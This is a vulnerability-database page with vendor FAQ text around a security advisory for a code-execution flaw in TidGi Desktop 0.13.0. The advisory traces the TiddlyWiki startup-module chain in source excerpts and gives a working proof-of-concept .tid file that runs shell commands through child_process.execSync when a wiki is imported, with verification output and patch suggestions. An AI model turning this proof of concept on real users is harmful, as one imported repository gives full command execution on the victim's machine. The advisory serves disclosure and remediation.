How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

362,176

Total vulnerabilities in the database

TidGi Desktop Remote Code Execution via Malicious TiddlyWiki Repository Import — Tiddler Startup Module Auto-Execution — tidgi

Improper Control of Generation of Code ('Code Injection')

Description

TidGi Desktop through 0.13.0 contains a critical remote code execution vulnerability exploitable via a single Git repository import. The vulnerability leverages TiddlyWiki's module system, which automatically discovers and executes JavaScript code embedded in .tid files placed in the wiki's tiddlers/ directory:

Auto-loading of .tid files (src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92) — when TidGi boots a wiki workspace, loadWikiTiddlers reads all .tid files from the filesystem and adds them to the wiki store via wiki.addTiddlers().
Automatic module registration (node_modules/tiddlywiki/boot/boot.js:2564-2565) — defineTiddlerModules() iterates all tiddlers in the store. Any tiddler with a module-type field is passed to $tw.modules.define(), registering it as an executable module.
Automatic startup execution (node_modules/tiddlywiki/boot/boot.js:2572-2634) — all registered modules of type "startup" are collected and their exports.startup() function is called during the boot sequence. When no platforms restriction is set, doesTaskMatchPlatform() returns true, and the startup function executes with full Node.js require() access in the Wiki Worker process.

The full chain was verified on macOS with TiddlyWiki 5.4.0 and Node.js v26 — require('child_process').execSync() successfully executed arbitrary shell commands.

Affected Product

Product: TidGi Desktop
Vendor: Lin Onetwo (https://github.com/tiddly-gittly)
Repository: https://github.com/tiddly-gittly/TidGi-Desktop
Affected Versions: 0.13.0 (latest release)
Components: src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts (tiddler loading), src/services/wiki/wikiWorker/startNodeJSWiki.ts (wiki boot), node_modules/tiddlywiki/boot/boot.js (TiddlyWiki core — defineTiddlerModules, startup dispatch)
Package: tidgi (npm)

Vulnerability Details

Root Cause 1 — `.tid` Files Auto-Loaded Before Module Processing

File: src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92

const tiddlerFiles = wikiInstance.loadTiddlersFromPath(subWikiTiddlersPath);

for (const tiddlerFile of tiddlerFiles) {
    // Register file info for filesystem adaptor
    // ...
    // Add tiddlers to wiki
    wikiInstance.wiki.addTiddlers(tiddlerFile.tiddlers);   // ← Line 92
}

File: src/services/wiki/wikiWorker/startNodeJSWiki.ts:256

wikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH });

This triggers $tw.boot.startup(), which internally calls loadStartup() → loadTiddlersNode() → $tw.loadWikiTiddlers($tw.boot.wikiPath) (boot.js:2381). TidGi overrides loadWikiTiddlers at startNodeJSWiki.ts:123 to intercept and inject sub-wiki tiddlers, but the original function still loads all .tid files from the main wiki's tiddlers/ directory.

Root Cause 2 — Automatic Module Registration via `module-type` Field

File: node_modules/tiddlywiki/boot/boot.js:1514-1534 — defineTiddlerModules()

$tw.Wiki.prototype.defineTiddlerModules = function() {
    this.each(function(tiddler,title) {
        if(tiddler.hasField(&quot;module-type&quot;) &amp;&amp; (!tiddler.hasField(&quot;draft.of&quot;))) {
            switch(tiddler.fields.type) {
                case &quot;application/javascript&quot;:
                    $tw.modules.define(
                        tiddler.fields.title,           // &quot;$:/plugins/poc/startup.js&quot;
                        tiddler.fields[&quot;module-type&quot;],   // &quot;startup&quot;
                        tiddler.fields.text              // attacker&#039;s JS code
                    );
                    break;
            }
        }
    });
};

This function is called during execStartup() (boot.js:2565), after loadStartup() has already loaded all .tid files into the wiki store. Any tiddler with module-type: startup and type: application/javascript is automatically registered as an executable module.

Root Cause 3 — Automatic Startup Execution with Full Node.js Access

File: node_modules/tiddlywiki/boot/boot.js:2572-2576 — Collecting startup modules

$tw.boot.remainingStartupModules = [];
$tw.modules.forEachModuleOfType(&quot;startup&quot;, function(title, module) {
    if(module.startup) {
        $tw.boot.remainingStartupModules.push(module);  // ← attacker&#039;s module collected
    }
});

File: node_modules/tiddlywiki/boot/boot.js:2631-2634 — Executing startup

if(!$tw.utils.hop(task,&quot;synchronous&quot;) || task.synchronous) {
    const thenable = task.startup();  // ← exports.startup() called

File: node_modules/tiddlywiki/boot/boot.js:2658-2677 — Platform check (passes without explicit platforms)

$tw.boot.doesTaskMatchPlatform = function(taskModule) {
    var platforms = taskModule.platforms;
    if(platforms) {
        // ... check each platform ...
        return false;  // ← only rejects if platforms is explicitly set
    }
    return true;       // ← no platforms field → passes unconditionally
};

Complete Boot Sequence (verified against TiddlyWiki 5.4.0)

$tw.boot.startup()                              // boot.js:2589
  ├── initStartup()                              // boot.js:2393
  ├── loadStartup()                              // boot.js:2538
  │     └── loadTiddlersNode()                   // boot.js:2356
  │           └── $tw.loadWikiTiddlers(wikiPath)  // boot.js:2381
  │                 └── wiki.addTiddlers(...)     // loads .tid files into store
  └── execStartup()                              // boot.js:2553
        ├── defineShadowModules()                 // boot.js:2564
        ├── defineTiddlerModules()                 // boot.js:2565  ← registers attacker&#039;s module
        ├── forEachModuleOfType(&quot;startup&quot;, ...)   // boot.js:2572  ← collects startup modules
        └── executeNextStartupTask()              // boot.js:2611
              └── task.startup()                  // boot.js:2634  ← exports.startup() executes

Exploitation Conditions

No authentication required — importing a wiki is a standard feature
Only user interaction: click "Add Workspace" → select folder/URL → confirm

Complete Attack Flow

┌──────────────────────────────────────────────────────────────┐
│ Step 1: Attacker creates a malicious TiddlyWiki repository   │
├──────────────────────────────────────────────────────────────┤
│  tiddlers/$__plugins__poc__startup.js.tid:                   │
│                                                              │
│    title: $:/plugins/poc/startup.js                          │
│    type: application/javascript                              │
│    module-type: startup                                      │
│                                                              │
│    exports.startup = function() {                            │
│      require(&#039;child_process&#039;).execSync(&#039;calc&#039;);              │
│    };                                                        │
│                                                              │
│  + tiddlywiki.info + any other wiki files                    │
└──────────────────────────────────────────────────────────────┘
                          ↓
┌──────────────────────────────────────────────────────────────┐
│ Step 2: Victim imports the repository into TidGi Desktop     │
├──────────────────────────────────────────────────────────────┤
│  Add Workspace → Clone Git Repository / Open Local Folder    │
│  → TidGi boots the wiki                                      │
└──────────────────────────────────────────────────────────────┘
                          ↓
┌──────────────────────────────────────────────────────────────┐
│ Step 3: RCE — startup module auto-executes in Node.js Worker │
├──────────────────────────────────────────────────────────────┤
│  loadWikiTiddlers loads .tid file → wiki.addTiddlers()       │
│  boot.startup() → execStartup()                              │
│  defineTiddlerModules() → $tw.modules.define(&quot;startup&quot;, ...) │
│  executeNextStartupTask() → exports.startup()                │
│  → require(&#039;child_process&#039;).execSync(&#039;...&#039;) executes         │
└──────────────────────────────────────────────────────────────┘

Proof of Concept

Minimal `.tid` File (place in `tiddlers/` directory)

title: $:/plugins/poc/startup.js
type: application/javascript
module-type: startup

exports.startup = function() {
  require(&#039;child_process&#039;).execSync(&#039;touch /tmp/TidGi-RCE-PoC.txt&#039;);
  console.log(&#039;STARTUP_EXECUTED&#039;);
};

Verification Output (macOS, TiddlyWiki 5.4.0, Node.js v26)

$ node -e &quot;
  const \$tw = require(&#039;tiddlywiki/boot/boot.js&#039;).TiddlyWiki();
  \$tw.boot.argv = [&#039;/tmp/evil-wiki&#039;];
  \$tw.boot.startup();
&quot;
STARTUP_EXECUTED

$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt

The message STARTUP_EXECUTED printed from within the attacker's exports.startup() function, and the file /tmp/TidGi-RCE-PoC.txt was created by execSync('touch ...'), confirming arbitrary command execution.

Impact

| Capability | Status | Details | |-----------|--------|---------| | Remote Code Execution | ✅ Full Node.js access | require('child_process') available | | Arbitrary File Read | ✅ | require('fs').readFileSync() | | Arbitrary File Write | ✅ | require('fs').writeFileSync() | | Reverse Shell | ✅ | Node.js net module | | Persistence | ✅ | Write to startup scripts, LaunchAgents, crontab | | User Interaction | 1 click | Import repository | | Cross-Platform | ✅ | Windows, macOS, Linux |

Reproduction Evidence

Step 1 — Malicious `.tid` file content

title: $:/plugins/poc/startup.js
type: application/javascript
module-type: startup

exports.startup = function() {
  require(&#039;child_process&#039;).execSync(&#039;touch /tmp/TidGi-RCE-PoC.txt&#039;);
  console.log(&#039;STARTUP_EXECUTED&#039;);
};

Step 2 — TiddlyWiki boot with malicious wiki at `/tmp/evil-wiki`

$ node -e &quot;
  const \$tw = require(&#039;tiddlywiki/boot/boot.js&#039;).TiddlyWiki();
  \$tw.boot.argv = [&#039;/tmp/evil-wiki&#039;];
  \$tw.boot.startup();
&quot;
STARTUP_EXECUTED

Step 3 — Verified RCE: `/tmp/TidGi-RCE-PoC.txt` created

$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt

Patch Recommendation

Fix 1: Disallow `module-type` on User Tiddlers

TiddlyWiki should distinguish between system tiddlers (shipped with TidGi or installed as official plugins) and user-created tiddlers. User-created tiddlers should never be allowed to define module-type.

// In defineTiddlerModules() or equivalent
if (tiddler.hasField(&quot;module-type&quot;) &amp;&amp; !tiddler.fields.title.startsWith(&quot;$:/&quot;)) {
    // User tiddler — silently drop module-type field
    return;
}

Fix 2: Sandbox User Modules

If user-created modules must be supported, execute them in a restricted context without access to Node.js built-ins:

// Replace direct require access with a restricted API surface
const vm = require(&#039;vm&#039;);
const sandbox = { console, $tw, Buffer };
vm.runInNewContext(moduleCode, sandbox, { timeout: 5000 });

Fix 3: Whitelist Allowed `module-type` Values

Only allow known safe module-type values for user tiddlers:

const ALLOWED_USER_MODULE_TYPES = [&#039;widget&#039;, &#039;macro&#039;, &#039;filter&#039;, &#039;parser&#039;];
if (!ALLOWED_USER_MODULE_TYPES.includes(tiddler.fields[&#039;module-type&#039;])) {
    return; // Block startup, library, saver, etc.
}

Published: Jul 14, 2026
Updated: Jul 15, 2026
GHSA: GHSA-9hc2-hjx8-q6pv
Severity: Critical
Exploit:
CISA KEV:

CVSS v3:

Severity: Critical
Score: 9.6
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CWEs:

CWE-94

Affected Software
References

Software	From	Fixed in
tidgi	-	0.13.0.x

https://github.com/tiddly-gittly/TidGi-Desktop/security/advisories/GHSA-9hc2-hjx8-q6pv

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.